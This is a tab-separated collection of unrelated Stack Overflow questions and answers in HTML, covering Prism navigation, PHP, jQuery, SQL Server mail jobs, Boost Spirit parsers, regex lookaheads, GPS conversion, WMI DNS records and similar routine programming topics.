21782032	0	 <p>Based on my understanding, <strong>Navigation</strong> with <strong>ScopedRegions</strong> would not be a straight forward feature of <strong>Prism</strong>. There are some workarounds posted however, in order to accomplish it in a quite simple way.</p> <p>You can look at the following post and discussion thread for handling <strong>ScopeRegionManagers</strong> across <strong>Navigation</strong>:</p> <ul> <li><a href="http://blogs.southworks.net/aadami/2011/11/30/prism-region-navigation-and-scoped-regions/" rel="nofollow">Prism Region Navigation and Scoped Regions</a></li> <li><a href="https://compositewpf.codeplex.com/discussions/236849" rel="nofollow">Navigation and ScopedRegions</a></li> </ul> <p>Basically, Agustin Adami's proposal would be to obtain the scoped <strong>RegionManager</strong> from the <strong><em>Region.Add()</em></strong> method, through the <strong>NavigationResult</strong> passed in the navigation callback from the <strong><em>RequestNavigate()</em></strong> method.</p> <p>The Navigation call then would look as follows:</p> <pre><code>this.regionManager.RequestNavigate( "MainRegion", new Uri("HelloWorldView?createRegionManagerScope=true", UriKind.Relative), (result) =&gt; { var myRegionManager = result.ExtractRegionManager(); myRegionManager.RequestNavigate("NestedRegion", new Uri("View1", UriKind.Relative)); }); </code></pre> <hr> <p><strong>UPDATE:</strong></p> <p>One possible approach for setting the scoped <strong>RegionManager</strong> into the child <strong>ViewModel</strong> would be by using a <strong>Shared Service</strong> and get the scoped <strong>RegionManager</strong> from there.</p> <p>The <strong>Main ViewModel</strong> would store the <strong>RegionManager</strong> as follows:</p> <pre><code>... bool createRegionManagerScope = true; var scopedRegionManager = region.Add(view, null, createRegionManagerScope); var dictionary = ServiceLocator.Current.GetInstance&lt;ScopedRegionManagersSharedDictionary&gt;(); dictionary[Names.ScopedRegionManagerName] = scopedRegionManager; this.regionManager.RequestNavigate( Names.MainRegion, new Uri("HelloWorldView", UriKind.Relative)); </code></pre> <p>And then, the child <strong>ViewModel</strong> should implement <strong>INavigationAware</strong> in order to retreive and set the scoped <strong>RegionManager</strong> on the <strong><em>OnNavigatedTo()</em></strong> method like shown below:</p> <pre><code>void OnNavigatedTo(NavigationContext navigationContext) { var dictionary = ServiceLocator.Current.GetInstance&lt;ScopedRegionManagersSharedDictionary&gt;(); this.regionManager = dictionary[Names.ScopedRegionManagerName]; ... } </code></pre> <p>I hope this helps, Regards.</p>
12451523	0	 <p>What's probably happening is that your URL has escaped characters in it (%3D%3D) and your $_GET is the unescaped characters so they don't match. str_replace can work on very large strings without a problem.</p> <p>If you want to get rid of that value, just do this:</p> <pre><code>$query_params = $_GET; unset($query_params['stepvars']); $new_link = http_build_query($query_params); </code></pre> <p>That will work even if the param is the first one (?stepvars=...)</p>
32835746	0	HTML 5 Section and Main semantic tags use <p>While studying the HTML 5 semantic tags, I've ran upon some doubts on how to proper utilize the <em>main</em> and <em>section</em> tags, and since the <a href="http://www.w3schools.com/html/html5_semantic_elements.asp" rel="nofollow">W3Schools</a> reference seems a little vague and other references on the Web seems to diverge I would like to know if there is a proper guideline to the following questions or if its pretty much up to the programmer:</p> <ol> <li>Does the <em>main</em> tag also has the meaning of grouping related elements or in that case should it be within a <em>section</em> tag?</li> <li>Does it make sense to wrap single elements, such as an image, into a <em>section</em> tag?</li> <li>It's pretty common to have a <em>header</em> and <em>footer</em> of the page (not inside any section), in that case, should the remaining in between those tags be wrapped inside a <em>section</em> tag, as if delimiting the "content" of the page? </li> </ol>
12137875	0	 <p><strong>HTML :</strong></p> <pre><code>&lt;ul class="UL_tag"&gt; &lt;li&gt;Text 1&lt;/li&gt; &lt;li&gt;Text 2&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.google.com" class="description"&gt;Link to GOOGLE&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class="UL_tag"&gt; &lt;li&gt;Text 1&lt;/li&gt; &lt;li&gt;Text 2&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.yahoo.com" class="description"&gt;Link to Yahoo&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre> <p><strong>Jquery:</strong></p> <pre><code> var d = $('.UL_tag li').children('a')[1]; // If you remove first href element change it to value "1" to "0" $(d).hide(); </code></pre> <p><strong>See this Demo:</strong> <a href="http://jsfiddle.net/7aNRZ/8/" rel="nofollow">http://jsfiddle.net/7aNRZ/8/</a></p>
31124625	0	 <p>Sounds like you are getting back an empty response, so that null check always resolves to true. Try checking if the count of the <code>NSArray</code> is greater than 0 instead of <code>if(self.jobs != nil)</code></p> <p>Just change <code>if(self.jobs != nil)</code> to <code>if([self.jobs count] &gt; 0)</code>. </p> <pre><code>if([self.jobs count] &gt; 0) { [self.tableView reloadData]; } else { UIAlertView* alert_view = [[UIAlertView alloc] initWithTitle: @"Failed to retrieve data" message: nil delegate: self cancelButtonTitle: @"cancel" otherButtonTitles: @"Retry", nil]; [alert_view show]; } </code></pre> <p>You might also want to do a null check before you try and do the count to avoid any null reference exceptions:</p> <pre><code>if(self.jobs != nil &amp;&amp; [self.jobs count] &gt; 0) </code></pre>
27319283	0	 <p>If you took time to read the FineManual for <code>pandas.DataFrame.to_sql</code>, you would have found out by yourself:</p> <blockquote> <p>if_exists : {‘fail’, ‘replace’, ‘append’}, default ‘fail’</p> <pre><code> fail: If table exists, do nothing. replace: If table exists, drop it, recreate it, and insert data. append: If table exists, insert data. Create if does not exist. </code></pre> </blockquote> <p><a href="http://pandas.pydata.org/pandas-docs/version/0.15.1/generated/pandas.DataFrame.to_sql.html" rel="nofollow">http://pandas.pydata.org/pandas-docs/version/0.15.1/generated/pandas.DataFrame.to_sql.html</a></p> <p>For the record, it took me exactly 23s to find this once I had confirmation you were talking about Pandas. </p>
29645387	0	Send by mail a query result with a job in SQL Server <p>I'm trying to send an email by a SQL Server job with the result of a query.</p> <p>The query works perfectly and I face an issue when I pass a TABLE in the <code>@query</code> parameter of <code>sp_send_dbmail</code></p> <p>Here is my code : </p> <pre><code>DECLARE @res TABLE ( SiteCode [nvarchar](50), DateLastODV [datetime] ); INSERT INTO @res SELECT SiteCode ,MAX(DateODV) AS DateLastODV FROM Configuration.ODVCompteur where year(DateODV) = 2015 group by SiteCode order by DateLastODV desc EXEC msdb.dbo.sp_send_dbmail @profile_name = 'Foo', @recipients = 'foo@foooo.com', @subject = 'Foooooooo', @query = @res, @Attach_Query_result_as_file = 0 </code></pre> <p>I got this error (in french but can easily be translate if needed) : </p> <blockquote> <p>Line 0: Procedure: sp_send_dbmail, Msg 206, Level 16, State 2: Conflit de types d'opérandes : table est incompatible avec nvarchar(max)</p> </blockquote>
34902538	0	 <p>I won't recommend to use <code>$resource</code>. It's the object that keeps link to the promise and when promise resolved it'll also contain data itself. So if you want to do some actions when data comes you'll have to assing a callback to that promise anyway. Use <code>$http</code> instead. It's lower level angular abstraction for async requests. And <a href="http://stackoverflow.com/questions/11850025/recommended-way-of-getting-data-from-the-server">here</a> is the way you can use <code>$http</code>.</p>
27900886	0	 <p>The file's content includes <code>$variables</code> wich are expanded. To avoid variable expansion, I had to use single-quote escapes <code>'END'</code>.</p>
2269323	0	Is Passing a Parameter to a method the same as creating an object? <p>I am learning Servlets and JSP. I am wondering about the "doGet" and other methods that may be overidden. The "doGet" takes 2 params - HTTPServletRequest request, and HTTPServletResponse response. This is my question: The request and response objects are used within the method body but I do not see any object creation e.g. request = new HTTPServletRequest. Are these objects created elsewhere e.g. in the superclass? This is just a Java question really as I often wonder about this with Applets also, i.e. the Graphics g object is passed to the "paint" method but I don't see it's creation anywhere?</p> <p>GF</p>
13113477	0	 <p>Perhaps this is something you are looking for:</p> <pre><code>from numpy.random import randint n = 50 R = randint(0,2,n) def get_number_of_zeros(x): return sum(0 == ele for ele in x) while(len(R) &gt; 0): number_of_zeros = get_number_of_zeros(R) print 'number of zeros is {}'.format(number_of_zeros) R = randint(0, 2, number_of_zeros) </code></pre> <p>Result:</p> <pre><code>number of zeros is 25 number of zeros is 11 number of zeros is 7 number of zeros is 4 number of zeros is 1 number of zeros is 1 number of zeros is 1 number of zeros is 0 </code></pre>
814697	0	 <p>I assume you're talking about something like <a href="http://rogeralsing.com/2008/12/07/genetic-programming-evolution-of-mona-lisa/" rel="nofollow noreferrer">Roger Alsing's program</a>.</p> <p>I implemented a version of this, so I'm also interested in alternative fitness functions, though I'm coming at it from the perspective of improving performance rather than aesthetics. I expect there will always be some element of "fade-in" due to the nature of the evolutionary process (though tweaking the evolutionary operators may affect how this looks).</p> <p>A pixel-by-pixel comparison can be expensive for anything but small images. For example, the 200x200 pixel image I use has 40,000 pixels. With three values per pixel (R, G and B), that's 120,000 values that have to be incorporated into the fitness calculation for a single image. In my implementation I scale the image down before doing the comparison so that there are fewer pixels. The trade-off is slightly reduced accuracy of the evolved image.</p> <p>In investigating alternative fitness functions I came across some suggestions to use the <a href="http://en.wikipedia.org/wiki/YUV" rel="nofollow noreferrer">YUV colour space</a> instead of RGB since this is more closely aligned with human perception.</p> <p>Another idea that I had was to compare only a randomly selected sample of pixels. I'm not sure how well this would work without trying it. Since the pixels compared would be different for each evaluation it would have the effect of maintaining diversity within the population.</p> <p>Beyond that, you are in the realms of computer vision. I expect that these techniques, which rely on feature extraction, would be more expensive per image, but they may be faster overall if they result in fewer generations being required to achieve an acceptable result. You might want to investigate the <a href="http://pdiff.sourceforge.net/" rel="nofollow noreferrer">PerceptualDiff</a> library. Also, <a href="http://www.lac.inpe.br/~rafael.santos/JIPCookbook/6050-howto-compareimages.jsp" rel="nofollow noreferrer">this page</a> shows some Java code that can be used to compare images for similarity based on features rather than pixels.</p>
8534840	0	 <p>After some experimentation, I have found a way to specify a custom skipper and will outline it here:</p> <pre><code>template&lt;typename Iterator&gt; struct pl0_skipper : public qi::grammar&lt;Iterator&gt; { pl0_skipper() : pl0_skipper::base_type(skip, "PL/0") { skip = ascii::space | ('{' &gt;&gt; *(qi::char_ - '}') &gt;&gt; '}'); } qi::rule&lt;Iterator&gt; skip; }; template&lt;typename Iterator, typename Skipper = pl0_skipper&lt;Iterator&gt;&gt; struct pl0_grammar : public qi::grammar&lt;Iterator, Skipper&gt; { /* The rules use our skipper */ qi::rule&lt;Iterator, Skipper&gt; start; qi::rule&lt;Iterator, Skipper&gt; block; qi::rule&lt;Iterator, Skipper&gt; statement; }; </code></pre> <p>The secret lies in the call of the parser. For some reason, when you want to parse this using <code>parse_phrase</code>, you have to give a skipper grammar object. I was not aware of this:</p> <pre><code>typedef std::string::const_iterator iterator_t; typedef parser::pl0_grammar&lt;iterator_t&gt; grammar; typedef parser::pl0_skipper&lt;iterator_t&gt; skipper; grammar g; skipper ws; iterator_t iter = str.begin(); iterator_t end = str.end(); bool r = phrase_parse(iter, end, g, ws); </code></pre> <p>This works.</p>
1975980	0	 <p>I would set a class variable — eg. <code>@@my_variable</code> — inside the configure block. The configure block exists for code you want to run at start up, so setting your variable their makes sense. Your Sinatra application is a subclass of <code>Sinatra::Base</code>, so using a class variable in this situation seems appropriate.</p>
27271020	0	Invalid regular expression: Invalid group <p>I'm trying to write a regex with a negative lookahead that detects files which end with <code>.apk</code> but not with <code>-unaligned.apk</code>. Here it is.</p> <pre><code>/(?s)^((?!\-unaligned).)*\.apk$/ </code></pre> <p>However, when I use it in Node (or in the Chrome developer tools, too), it throws:</p> <pre><code>SyntaxError: Invalid regular expression: /(?s)^((?!\-unaligned).)*\.apk$/: Invalid group </code></pre> <p>I've tested it in <a href="http://regex101.com" rel="nofollow">Regex101</a> with a test list of files, and it works perfectly, but after moving to "production" code, it throws an error like that.</p>
14492933	0	Non binary decision tree to binary decision tree (Machine learning) <p>This is homework question, so I just need help may be yes/No and few comment will be appreciated!</p> <ul> <li>Prove: Arbitrary tree (NON binary tree) can be converted to equivalent binary decision tree.</li> </ul> <p>My answer: Every decision can be generated just using binary decisions. Hence that decision tree too. I don't know formal proof. Its like I can argue with Entropy(Gain actually) for that node will be E(S) - E(L) - E(R). And before that may be it is E(S) - E(Y|X=t1) - E(Y|X=t2) - and so on.</p> <p>But don't know how to say?!</p>
5448829	0	 <p>you can add the accepted tags to strip_tags as second parameter</p> <p>ex.</p> <pre><code>strip_tags($text, '&lt;br&gt;'); </code></pre>
3273629	0	 <p>You are right. Parallelization makes it work faster.</p> <p>In fact, the x264 encoder provides parallel encoding ability.</p> <p><a href="http://www.videolan.org/developers/x264.html" rel="nofollow noreferrer">http://www.videolan.org/developers/x264.html</a></p>
8678371	0	How to convert GPS degree to decimal and vice-versa in jquery or javascript and PHP? <p>does someone know how to convert GPS degree to decimal values or vice versa?</p> <p>I have to develop a way where users can insert an address and get the GPS values (both degree and/or decimal), but the main thing i need to know is how to convert the values, cause users can also insert GPS values (degree or decimal). Because i need to get the map from google maps this needs decimal.</p> <p>I've tryed some codes but i get big numbers...like this one:</p> <pre><code>function ConvertDMSToDD(days, minutes, seconds, direction) { var dd = days + minutes/60 + seconds/(60*60); //alert(dd); if (direction == "S" || direction == "W") { dd = '-' + dd; } // Don't do anything for N or E return dd; } </code></pre> <p>Any one?</p> <p>Thank you.</p>
25243483	0	Bash - Wait with timeout <p>I have a problem with bash programming. I have this code:</p> <pre><code>#!/bin/bash tmpfile="temp.txt" ./child.sh &amp; sleep 4s </code></pre> <p>but I want to get the exit code of <code>child.sh</code>. I know that is possible with the costructor <code>wait</code>. There are any constructor with wait+timeout?</p> <p>Thanks</p>
5565156	0	 <p>We have to maintain on an old system here (20 years and older).</p> <p>ESQL is used massively in here. The most of the problems we had while moving the software to a new OS (it was an 15 year old hpux) where with the ESQL code.</p> <p>The new software we are writing are all making use of the C++ library. This gives us more readable code + our IDE doesn't say 'invalid syntax' all the time. etc.. The C++ library is in general terms very equal as how I connect to a database in .NET or Java.</p> <p>Using the C++ library whe have an improvement of speed (if used wisely) and much less errors.</p> <p>ESQL is deprecated by my point of view. But since we have entered an time where a lot of the written software is to update/upgrade or maintain existing systems, it is very handy to have basic knowledge of old techniques!</p>
30860074	0	 <p>What sstan is pointing out is that you are lacking the semicolon at the end of each statement.</p> <p>Try:</p> <pre><code>INSERT INTO report_header ( report_number, company_id, user_id, entry_date) VALUES ( 6797, 15967, 84, TRUNC(SYSDATE)); INSERT INTO report_detail (part_id, condition_id, uom_id, dvc_id, cqh_id, alt_part_id, entry_date, qty_quoted, qty_req, unit_cost, unit_price, customer_price, route_code) VALUES ((SELECT part_id from parts where pn = '2366'),15,1,3,(select max(report_id) from report_header), (SELECT part_id from parts where pn = '2366'),'11-JUN-2015',1,1,0,1895,1895,'O'); SELECT * from Dual; </code></pre> <p>Note the ";" delimiting each separate statement.</p>
14554552	0	How to Use Arrow Keys to Navigate a Vertical Page <p>I have a webpage with photos on it. I would like the viewer to be able to use the arrow keys (up, down, left, right) to advance. Typically the down key scrolls about 10 pixels. I'd like the down key and the right key to advance to the next photo, or say, 1000 pixels. I'd like the up and the left key to do the same, but in reverse, so scroll back up the page those same 1000 pixels. I thought to assign each set of photos an anchor (#) tag, and have the page scroll to the next tag. I hardly know HTML, CSS, Javascript, and Jquery, so I'd need a patient response to help me solve this.</p> <p>The page I'm working with is <a href="http://pavelrozman.com" rel="nofollow">my personal site</a> and I'd like to apply this same type of keyboard navigation on all the pages on my site.</p>
39307840	0	 <p>If you want to restart the NGINX process, restart the container by running the command:</p> <pre><code>docker restart &lt;container name&gt; </code></pre> <p><a href="https://blog.docker.com/2015/04/tips-for-deploying-nginx-official-image-with-docker/" rel="nofollow">https://blog.docker.com/2015/04/tips-for-deploying-nginx-official-image-with-docker/</a></p>
13826975	0	 <p>Since you can't refactor as suggested, you should check what type you need to return based on the <code>type</code> member that you assign in the <code>init()</code> function. I assume this will work, but you haven't shown where <code>type</code> is defined:</p> <pre><code>const void* Investment::getItem() const { switch(type) { case BUILDING_TYPE: case UNIT_TYPE: return &amp;unitType; case UPGRADE_TYPE: return &amp;upgradeType; case TECH_TYPE: return &amp;techType; } return NULL; } </code></pre> <p>Doing this however, means that the caller of <code>getItem()</code> has to be able to perform the appropriate downcast. Given that you don't provide this explicitly, this is going to be a constant source of confusion of users of your code.</p> <h1>However:</h1> <p>If you are passing around <code>void*</code> and expecting users of your class to downcast to the correct type, this is almost always an indication of bad design in <code>C++</code>. The correct approach would be to refactor this into a proper polymorphic class hierarchy as suggested by @juanchopanza in his answer.</p>
32573413	0	 <p>Usually the best way to get data from a server to the front end is as a JSON string/object then we can easily manipulate that just like you're doing already.</p> <p>I think you're pretty much there you're just missing one part.</p> <p>In this below example i'm listing the same users in a table and menu and on click of the table row the selected user in the drop down is defaulted.</p> <p>For example with this sample table data.</p> <p>JS:</p> <pre><code>var users = [{ ID: 0, LNAME: "First", FNAME: "Senior" }, { ID: 1, LNAME: "Second", FNAME: "Sir" }, { ID: 2, LNAME: "Third", FNAME: "Chap" }, { ID: 3, LNAME: "Fourth", FNAME: "Mr" }]; mag.module('userName', { view: function(state) { state.tr = state.option = users.map(function(user) { return { _selected: user.ID == state.index ? true : null, _text: user.FNAME + ' ' + user.LNAME, _value: user.ID } }); state.$tr = { _onclick: function(e, i) { state.index = i; state.span = users[i].FNAME + users[i].LNAME } } } }); </code></pre> <p>HTML:</p> <pre><code>&lt;div id="userName"&gt; &lt;table&gt; &lt;tr&gt;&lt;/tr&gt; &lt;/table&gt; &lt;hr/&gt; &lt;label for="fullName"&gt;Select User: &lt;span&gt;&lt;/span&gt;&lt;/label&gt; &lt;select class="form-control" name="userName"&gt; &lt;option&gt;&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; </code></pre> <p>Here is the full working example: <a href="http://jsbin.com/bokiqebezo/1/edit?html,js,output" rel="nofollow">http://jsbin.com/bokiqebezo/1/edit?html,js,output</a></p> <p>Hope this helps!</p>
19724039	0	Match Schedule Generator Algorithm <p>I'm working on a schedule generator where every team plays a match with each other teams. My Database table and the output I need like below, <img src="https://i.stack.imgur.com/pf2tZ.png" alt="enter image description here"></p> <p>What I have tried so far is</p> <pre><code> &lt;% ResultSet rsteams = clmmodel_database.selectQuery("select count(ct.teamid) as teamcount, teamid,teamname from clm_team ct"); while(rsteams.next()){ int teamcount = rsteams.getInt("teamcount"); int n = teamcount - 1; int numofmatches = n*(n+1)/2; %&gt; &lt;h1&gt;Team Count = &lt;%out.print(teamcount);%&gt;&lt;/h1&gt; &lt;h1&gt;Number of Matches = &lt;%out.print(numofmatches);%&gt;&lt;/h1&gt; &lt;table&gt; &lt;%for(int i =0;i&lt;n;i++){%&gt; &lt;tr&gt; //Here I need to display the matches row by row &lt;/tr&gt; &lt;%}%&gt; &lt;/table&gt; &lt;%}%&gt; </code></pre> <p>Which retrieves the team count and the number of matches to be played. Please help me on this.</p>
32366138	0	implicit parameters and generic types <p>i'm trying to understand the behavior of the compiler in this situation</p> <pre><code>object ImplicitTest extends App { def foo[T](implicit x: (String =&gt; T)): T = ??? implicit val bar = (x: String) =&gt; x.toInt foo } </code></pre> <p>the code above does not compile and gives the following error:</p> <blockquote> <p>ambiguous implicit values: both method $conforms in object Predef of type [A]⇒ &lt;:&lt;[A,A] and value bar in object ImplicitTest of type ⇒ String ⇒ Int match expected type String ⇒ T</p> </blockquote> <p>as the error says my implicit value is conflicting with another implicit defined in Predef... based on this it seems there is no way to declare an implicit parameter to a function converting a value from a known type to an unknown (generic) type. </p> <p>Is this due to some technical limitation on the compiler or is just the way it is supposed to work, and i'm violating some constraints i'm not aware of?</p>
3663772	0	 <p>I used WMI to do this, found an example on the web, and this is what it looked like.</p> <pre><code> private ManagementScope _session = null; public ManagementPath CreateCNameRecord(string DnsServerName, string ContainerName, string OwnerName, string PrimaryName) { _session = new ManagementScope("\\\\" + DnsServerName+ "\\root\\MicrosoftDNS", con); _session.Connect(); ManagementClass zoneObj = new ManagementClass(_session, new ManagementPath("MicrosoftDNS_CNAMEType"), null); ManagementBaseObject inParams = zoneObj.GetMethodParameters("CreateInstanceFromPropertyData"); inParams["DnsServerName"] = ((System.String)(DnsServerName)); inParams["ContainerName"] = ((System.String)(ContainerName)); inParams["OwnerName"] = ((System.String)(OwnerName)); inParams["PrimaryName"] = ((System.String)(PrimaryName)); ManagementBaseObject outParams = zoneObj.InvokeMethod("CreateInstanceFromPropertyData", inParams, null); if ((outParams.Properties["RR"] != null)) { return new ManagementPath(outParams["RR"].ToString()); } return null; } </code></pre>
15588929	0	CSS: :hover and Sibling Selector <p>I have a case where my design requires me to declare this class:</p> <pre class="lang-css prettyprint-override"><code>.panel { position: fixed; top: 100vh; height: 90vh; margin: 0px; padding: 0px; width: 100%; transition-property: top; transition-duration: 1s; } .panel:before { background-color: inherit; top: -1.5em; width: 10em; text-align: center; font-weight: bold; content: attr(id); position: absolute; border-bottom: none; border: .5em solid black; border-top-color: inherit; border-left-color: inherit; border-right-color: inherit; border-bottom: none; border-radius: 25%; border-bottom-right-radius: 0%; border-bottom-left-radius: 0%; } </code></pre> <p>In short, panels are tabs that fly in when targeted via an <code>&lt;a href="panel id"&gt;foo&lt;/a&gt;</code> style link.</p> <p>In their default state panels sit just under the bottom of the screen, This creates a row of hidden panel objects whose before's appear as tabs across the bottom of the screen.</p> <p>HTML for these panels is <code>&lt;section id="about" class="panel color"&gt;...&lt;/section&gt;</code> (where the color classes are effectively presentational for the moment, but will be upgraded to reflect specific tab purposes.</p> <p>So, the challenge I'm trying to solve is that status bars will block the panel tabs which feels wrong, and I believe the solution is to bump them up a little bit (3 or 4 VH) when any link is hovered. This preserves status bar integrity, link integrity and the look of the site; treating the status bar as if it were a window resize.</p> <p>I had believed that <code>a:hover ~ * .panel { top: 97vh; }</code> was the correct solution to do this, but it doesn't seem to be firing.</p>
33614301	0	 <p>Try </p> <pre><code>Sub HelloWord() Dim wordApp As Object Set wordApp = GetObject(, "Word.Application") MsgBox wordApp.Activedocument.FullName End Sub </code></pre> <p>Once you've got a handle on the the wordApp, you can access all the objects in the model as normal.</p> <p>The downvote might be because this doesn't sound like a very efficient solution - might it be better to get the Excel data into a Word document or format the Excel document in an acceptable way. You're invoking two pretty chunky apps here to do one thing.</p>
2474667	0	 <p>You would probably want to use a PHP syntax file such as: <a href="http://www.vim.org/scripts/script.php?script_id=1571" rel="nofollow noreferrer">http://www.vim.org/scripts/script.php?script_id=1571</a></p> <p>FWIW: Personally I am enjoying learning vim at the moment but still prefer netbeans for PHP development because it has many features that I need, such as automatic scp to a remote server and remote debugging with XDebug.</p>
26066966	0	 <p><strong>try this</strong> </p> <pre><code>try { $pdo = new PDO('mysql:host=localhost;dbname=yourdbname', 'dbuser' , 'password'); $pdo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXECPTION); $pdo-&gt;exec('SET NAME "utf8"'); } catch (PDOException $e) { $error= 'error text'; include 'errorpage.php'; exit(); } $success = 'success'; include 'page.php'; </code></pre>
37315341	0	 <p>To use a closure in this situation try something like </p> <pre><code>func getCityDetail (completion:()-&gt;()){ dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0)) { //background thread, do ws related stuff, the ws should block until finished here dispatch_async(dispatch_get_main_queue()) { completion() //main thread, handle completion } } } </code></pre> <p>then you can use it like </p> <pre><code>objWebService.getCityDetail { //do something when the ws is complete } </code></pre>
26361807	0	 <p>Googling for "css customized radio buttons" yielded a lots of useful results, such as <a href="http://www.hongkiat.com/blog/css3-checkbox-radio/" rel="nofollow">this</a>, here is a <a href="http://jsfiddle.net/dghjLra2/" rel="nofollow">jsfiddle</a> based on that tutorial, code provided below. Obviously, this is kind of workaround solution rather than native way of styling the radio buttons which to my knowledge doesn't exist.</p> <p>HTML:</p> <pre><code>&lt;div class="radio"&gt; &lt;input id="male" type="radio" name="gender" value="male"/&gt; &lt;label for="male"&gt;Male&lt;/label&gt; &lt;input id="female" type="radio" name="gender" value="female"/&gt; &lt;label for="female"&gt;Female&lt;/label&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>label { display: inline-block; cursor: pointer; position: relative; padding-left: 25px; margin-right: 15px; font-size: 13px; } input[type=radio] { display: none; } label::before { content: ""; display: inline-block; width: 16px; height: 16px; margin-right: 10px; position: absolute; left: 0; bottombottom: 1px; background-color: #aaa; box-shadow: inset 0px 2px 3px 0px rgba(0, 0, 0, .3), 0px 1px 0px 0px rgba(255, 255, 255, .8); } .radio label::before { border-radius: 8px; } input[type=radio]:checked + label::before { content: "\2022"; color: #f3f3f3; font-size: 30px; text-align: center; line-height: 18px; } </code></pre>
28999831	0	 <p>First of all, Thomas Jungblut's answer is great and I gave me upvote. The only thing I want to add is that the Combiner will always be run <strong>at least</strong> once per Mapper if defined, unless the mapper output is empty or is a single pair. So having the combiner not being executed in the mapper is possible but highly unlikely. </p>
21392529	0	Cascading multi-value parameter issue in SSRS 2008 <p>Basically I have built a report using SSRS 2008, the report has cascading parameters, the independent one is a multi-value parameter (work units) populated with values from a database query, the dependent parameter (job positions contained in respective work units) also gets values from a query with a where clause as follows:</p> <pre><code>WHERE position.unitId IN (@units) </code></pre> <p>@units being the multi-value parameter. The default value for units is the query itself - all of which the user has access to. So upon opening the report, all available units are selected and all respective job positions are retrieved - works fine. But a aser can also have no access to any units, which makes the dependent query fail, cause no units were retrieved hence @units contains no values. I would have thought the query would not fire until @units has a value present.. anyways I have tried to check the contents of @units before querying for job positions in various ways:</p> <p>*replacing @units parameter with the following expression: =IIF(Parameters!units.Count = 0, "00000000-0000-0000-0000-000000000000", Parameters!units.Value)</p> <p>*having another parameter containing a comma seperated string of the @units values and checking if the lenght of that is greater than 0 before executing the dependent dataset, etc.</p> <p>But now, when I open up the report, the drop down list of job position is empty, disabled and remains so until the values of units are changed or the report is run. After that they refresh alright it seems. So my question is, what may be the cause of the control being disabled (units are retrieved, so why does an expression as a parameter value for job positions messes it up?) and how to deal with this the right way, can`t seem to find something really of the same nature online. </p> <p>Any help will be greatly appreciated.</p>
29749150	0	How can i see my document settings.xml (maven) <p>I'm trying to see my informations (username &amp; url) in settings.xml but there is no document in my folder .m2, I try to display it with ls -la but nothing to do. How can we get those informations?</p>
2151770	0	 <p>Maybe you can install PHPMailer as a Vendor and create a Component called "Mail"...</p> <p>And don't forget to authenticate with your <strong>SMTP server</strong>! :)</p>
16254122	0	 <p>You could create another list in the correct order, by something like:</p> <pre><code>// Given that 'Person' for the sake of this example is: public class Person { public string FirstName; public string LastName; } // And you have a dictionary sorted by Person.FirstName: var dict = new SortedDictionary&lt;string, Person&gt;(); // ...initialise dict... // Make list reference a List&lt;Person&gt; ordered by the person's LastName var list = (from entry in dict orderby entry.Value.LastName select entry.Value).ToList(); // Use list to populate the listbox </code></pre> <p>This has the advantage of leaving the original collection unmodified (if that's important to you).</p> <p>The overhead of keeping references to the objects in two different collections is not very high, because it's only one reference per object (plus some fixed overhead for the <code>List&lt;&gt;</code> implementation itself).</p> <p>But remember that the objects will be kept alive as long as either of the collections are alive (unless you explicitly clear the collections).</p> <hr> <p>Compilable sample:</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; namespace Demo { public static class Program { private static void Main() { dict = new SortedDictionary&lt;string, Person&gt;(); addPerson("iain", "banks"); addPerson("peter", "hamilton"); addPerson("douglas", "adams"); addPerson("arthur", "clark"); addPerson("isaac", "asimov"); Console.WriteLine("--------------"); foreach (var person in dict) Console.WriteLine(person.Value); var list = (from entry in dict orderby entry.Value.LastName select entry.Value).ToList(); Console.WriteLine("--------------"); foreach (var person in list) Console.WriteLine(person); } private static void addPerson(string firstname, string lastname) { dict.Add(firstname, new Person{FirstName = firstname, LastName = lastname}); } private static SortedDictionary&lt;string, Person&gt; dict; } public class Person { public string FirstName; public string LastName; public override string ToString(){return FirstName + " " + LastName;} } } </code></pre>
38206662	0	How to cancel printing in ReportViewer1.Print Event? <p>I created ReportViewer1. It will show preview and I need to cancel print out to a printer when the user clicks a Print Button on the toolbar. </p> <p>Like this </p> <pre><code>Private Sub ReportViewer1_Print(sender As Object, e As ReportPrintEventArgs) _ Handles ReportViewer1.Print Me.ReportViewer1.CancelRendering(0) ''/ &lt;----Cancel Printing RaiseEvent Click_Print(False) End Sub </code></pre> <p>But CancelRendering is not working because it shows dialogSetting for the selected printer.</p>
21140590	0	Dynamic INSERT Statement in Python <p>I am working on updating some Python code I have been working with and was looking for some advice on the best way to deal with an idea I am working with. The part of my code that I wish to change is :</p> <pre><code>my_reader = csv.reader(input, delimiter = ',',quotechar='|') mouse.executemany("INSERT INTO Example_Input (ID,Name,Job,Salary) VALUES (?,?,?,?)", my_reader) </code></pre> <p>The code works. My question is, can I change the "(?,?,?,?)" into something more dynamic like 'range()' to allow user input. I understand that I would also have to have a dynamic create table statement, so another solution might be to count the number of inputs. </p> <p>To be a little more clear: for example if I had raw_input("How many variables does the table contain?: ") and the input was 2, the program would know to run as if (?,?).</p> <p>Thoughts?</p> <p>(also I am using SQLite3 and python 2.7)</p>
17279971	0	 <p>Permanent network settings are stored in various files in <code>/etc/networking</code> and <code>/etc/network-scripts</code>. You could use <code>diff</code> to compare what's in those files between the system. However, that's just the network stuff (static v.s. dynamic, routes, gateways, iptables firewalls, blah blah blah). If there's no differences there, you'll have to start expanding the scope of your search.</p>
